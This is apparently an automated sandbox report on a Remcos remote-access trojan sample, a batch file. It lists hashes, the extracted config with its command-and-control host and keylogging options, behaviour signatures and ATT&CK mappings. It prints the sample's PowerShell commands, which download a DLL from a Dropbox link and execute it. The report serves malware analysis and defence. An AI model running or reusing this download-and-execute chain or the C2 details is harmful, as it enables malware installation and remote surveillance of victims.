remcos | e8aeb5c36fdf6931d14ac8b8b51ba4f1da459bf8481a2657c73d52a0a3bf62f4

Analysis

max time kernel
100s
max time network
144s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
24-11-2024 11:21

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General

Target

test - Kopie.bat
Size

658B
MD5

4a05279e903f0365d0ccc4908662ddda
SHA1

7826242544d70e9626910a303cff42e0cade2ae6
SHA256

e8aeb5c36fdf6931d14ac8b8b51ba4f1da459bf8481a2657c73d52a0a3bf62f4
SHA512

e249db02052cfac12f6eb6a4ec0e1fb80899ae7294993aeecb3f5fad0238ba1ffd274307de236a59611290a372fe4038b7d1b23deb91e30b706b57d753a20925

Score

10^/10

remcos remotehost execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

23.ip.gl.ply.gg:24321

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
Rmc.exe
copy_folder
RootRmc
delete_file
true
hide_file
true
hide_keylog_file
false
install_flag
true
install_path
%SystemDrive%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-M1WJOM
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	4560	powershell.exe
8	4560	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4560	powershell.exe
5448	powershell.exe

Downloads MZ/PE file

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4560	powershell.exe
4560	powershell.exe
5448	powershell.exe
5448	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeDebugPrivilege	5448	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1628 wrote to memory of 4560	1628	cmd.exe	84
PID 1628 wrote to memory of 4560	1628	cmd.exe	84
PID 1628 wrote to memory of 5448	1628	cmd.exe	85
PID 1628 wrote to memory of 5448	1628	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test - Kopie.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/ced931yp7ygkbsx3fibr1/test.dll?rlkey=23mh4gtrl35mfqlt6suof5w8d&st=evzmjztv&dl=1' -OutFile 'test.dll'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -Path 'test.dll'; [TestClass]::Execute()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
ed30ca9187bf5593affb3dc9276309a6

SHA1
c63757897a6c43a44102b221fe8dc36355e99359

SHA256
81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122

SHA512
1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
670c4920a79e1c12a6c4e8ff4007562b

SHA1
5023e825d4a8af071498411f589f3b25ff335f0f

SHA256
37c4a07c009ffa6061e7ffcec01d0eb2c1a2c7ac94fc3d2208e1bfee6815c92f

SHA512
d717acfd4aea4d2788b06be081c00d97929eadaa97b9144ebc02617837d8c9ffaad30f3bef0a662c560dc2bc98603853af3404120f5ac2430335dda06e7c5bd5

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ca2w4loa.2qk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Local\Temp\test.dll

Filesize
465KB

MD5
c52987ac16d800661b0673db0e88e040

SHA1
8887a9096dd5baa81fc841fd4066978aabc66d66

SHA256
00f66290090abad9e0c8a98e659723a29ad621862a54ff7b67dc326b4cf74ae6

SHA512
5431218a44e0a26337b6ad78f4cf225c735a104751a542cb7d882e69ba711b3001d855199c7b91d6113eca2095257daacbb642cf1e84fa1c11e913f5d401782d

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memory/4560-11-0x00007FFA71900000-0x00007FFA723C2000-memory.dmp

Filesize
10.8MB

Download
memory/4560-13-0x00007FFA71900000-0x00007FFA723C2000-memory.dmp

Filesize
10.8MB

Download
memory/4560-17-0x00007FFA71900000-0x00007FFA723C2000-memory.dmp

Filesize
10.8MB

Download
memory/4560-12-0x00007FFA71900000-0x00007FFA723C2000-memory.dmp

Filesize
10.8MB

Download
memory/4560-0-0x00007FFA71903000-0x00007FFA71905000-memory.dmp

Filesize
8KB

Download
memory/4560-1-0x000001A140F80000-0x000001A140FA2000-memory.dmp

Filesize
136KB

Download
memory/5448-28-0x00007FFA71900000-0x00007FFA723C2000-memory.dmp

Filesize
10.8MB

Download
memory/5448-30-0x00007FFA71900000-0x00007FFA723C2000-memory.dmp

Filesize
10.8MB

Download
memory/5448-31-0x00007FFA71900000-0x00007FFA723C2000-memory.dmp

Filesize
10.8MB

Download
memory/5448-32-0x00007FFA71900000-0x00007FFA723C2000-memory.dmp

Filesize
10.8MB

Download
memory/5448-35-0x00007FFA71900000-0x00007FFA723C2000-memory.dmp

Filesize
10.8MB

Download